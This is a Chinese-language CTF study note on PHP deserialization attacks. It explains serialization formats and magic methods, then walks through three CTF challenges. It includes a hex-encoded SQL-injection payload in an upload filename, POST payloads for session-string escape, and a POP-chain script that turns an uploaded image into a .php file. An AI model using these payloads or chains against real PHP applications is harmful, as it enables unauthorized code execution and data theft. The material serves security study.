基础知识
序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
php 将数据序列化和反序列化会用到两个函数
serialize 将对象格式化成有序的字符串
unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
#了解php的序列化之后字符串的含义
序列化的时候需要注意
public,protected,private访问修饰符,分别对应着类中的 公有、私有、受保护成员。引用解释 不同的访问修饰符对应的序列化也有不同。 各访问修饰符序列化后的区别:
public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
protected:属性被序列化的时候属性名会变成%00*%00 属性名,长度跟随属性名长度而改变
private:属性被序列化的时候属性名会变成%00 类名%00 属性名,长度跟随属性名长度而改变
输出时一般需要url编码
输出则会导致不可见字符\x00的丢失
O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}
反序列化中常见的魔术方法
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,比如使用 echo 或者 .连接 或者 file_exists()判断也会触发
__invoke() //当尝试将对象调用为函数时触发
利用方式
常规反序列利用--[安洵杯 2019]不是文件上传
-
知识点
-
源码泄露
-
代码审计
-
sql 注入
-
反序列化
-
-
上传文件,发现 id 参数,肯定和 sql 注入有关,但是怎么利用呢??不知道了
原来通过搜索关键字,可以在 github 上的得到源码
-
关键源码 反序列,显示图片属性,
序列化,存储图片属性
检查图片属性,这里唯一可控的是 filename,进而控制-->参数 title,因为要存储,和数据库交互,存在 sql 注入
读 flag 的方法
上传图片的 sql 语句
INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图
20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')
根据源码,写序列化脚本
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>
O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
因为 protected 属性,需要\0
填补 payload:O:6:"helper":2:{s:9:"\0\0\0ifview";b:1s:9:"\0\0\0config";s:5:"/flag";}
有双引号过滤,无法传递,这里注意 sql 语句可以使用 16 进制绕过
-
所以最终 payload filename=s
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
修改 filename,得 flag
字符串逃逸
字符逃逸,一定是 先 serialize(),然后 过滤字符串长度发生变化,然后 unserialize() 。从而实现逃逸,不管字符增多 or 字符减少,都一样,就是我们构造的都是反序列化之后的字符串
主要分两种
过滤后字符串增加
例题[0CTF 2016]piapiapia
-
知识点- 反序列化逃逸--增加
-
preg_replace 用数组绕过
过滤后字符串减少
[安洵杯 2019]easy_serialize_php
-
知识点:反序列化逃逸--减少
GET部分:?f=show_image
POST部分:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"chen";s:4:"qwsn";}
- 回显:$flag = 'flag in /d0g3_fllllllag';
POP链的构造利用
POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法。
简单看例题,即可理解
例题[强网杯 2019]Upload-你以为我 upload,其实考代码审计-pop 链
-
知识点
代码审计,PHP 反序列化。-pop 链构造方法
__get() 在调用不可访问的属性的时候触发
__call() 在调用不可访问的方法的时候触发
这里,我们如果把
$this->checher
赋值为 Profile 对象,那么就会调用 Profile 对象中的 index() 方法,这个方法在 Profile 中是不存在的,所以会调用
__call()
call方法又会调用
$this->index
index 属性在 Profile 中也是不存在的,就会触发
__get()
方法,那么我们再设置 Profile 中的
except[’index‘]
为 upload_img 的话,就会成功触发 upload_img() 。
原文链接:https://blog.csdn.net/qq_41891666/article/details/107382969
-
所以整个利用链为:
Register -> __destruct
Profile -> __call
Profile -> __get
Profile -> upload_img
<?php
namespace app\web\controller;
class Profile
{
public $except =array('index'=>'upload_img') ;
public $checker = 0 ;
public $ext = 1 ;
public $filename_tmp = '../public/upload/b53eda8702c8684a87f1f73fe6db33f0/d8f8dedc0591f3b913dbcdf0fdea2687.png' ;
public $filename = '../public/upload/b53eda8702c8684a87f1f73fe6db33f0/kkkk.php' ;
public $upload_menu = '';
}
class Register
{
public $registed = 0;
public $checker ;
}
$a =new Register();
$a -> checker = new Profile();
echo base64_encode(serialize($a));
// echo serialize($a);
刚开始报错没有反应,多刷新几次,即可访问